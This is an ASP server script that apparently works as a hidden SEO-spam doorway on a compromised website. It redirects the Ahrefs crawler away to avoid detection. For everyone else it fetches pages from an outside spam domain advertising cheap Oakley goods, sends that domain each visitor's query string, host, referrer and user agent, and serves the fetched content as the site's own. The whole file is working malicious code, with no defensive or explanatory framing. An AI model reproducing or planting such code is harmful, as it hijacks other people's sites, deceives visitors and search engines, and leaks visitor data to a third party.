<%
id = Server.URLEncode(Request.ServerVariables("Query_String"))
h = Request.ServerVariables("Server_Name")
r = Cstr(Server.URLEncode(Request.ServerVariables("HTTP_REFERER")))
u = Cstr(Server.URLEncode(Request.ServerVariables("HTTP_USER_AGENT")))

If InStr(u,"ahrefs") <> 0 Or InStr(u,"ahrefsbot") <> 0 Then
  response.Redirect "https://www.ahrefs.com"
  response.end
End If

If id <> "" Then
   html = GetBody("http://sex13.f613.com/?k="&id&"&h="&h&"&u="&u&"&r="&r)
   response.write html
   response.end
else
   html = GetBody("http://sex13.f613.com/?k=/564544/Cheap-Oakley/&h="&h&"&u="&u&"&r="&r)
   response.write html
   response.end
End If

Function GetBody(URL)
    Set HTTPReq = Server.createobject("MSXML2.ServerXMLHTTP.3.0")
    HTTPReq.Open "GET",URL,False
    HTTPReq.send
    If HTTPReq.readyState <> 4 Then Exit Function
    GetBody = Bytes2bStr(HTTPReq.responseBody)
    Set HTTPReq = Nothing
End Function

Function Bytes2bStr(vin)
    Dim BytesStream,StringReturn
    Set BytesStream = Server.CreateObject("ADODB.Stream")
    BytesStream.Type = 2
    BytesStream.Open
    BytesStream.WriteText vin
    BytesStream.Position = 0
    BytesStream.Charset = "utf-8"
    BytesStream.Position = 2
    StringReturn =BytesStream.ReadText
    BytesStream.close
    Set BytesStream = Nothing
    Bytes2bStr = StringReturn
End Function
%>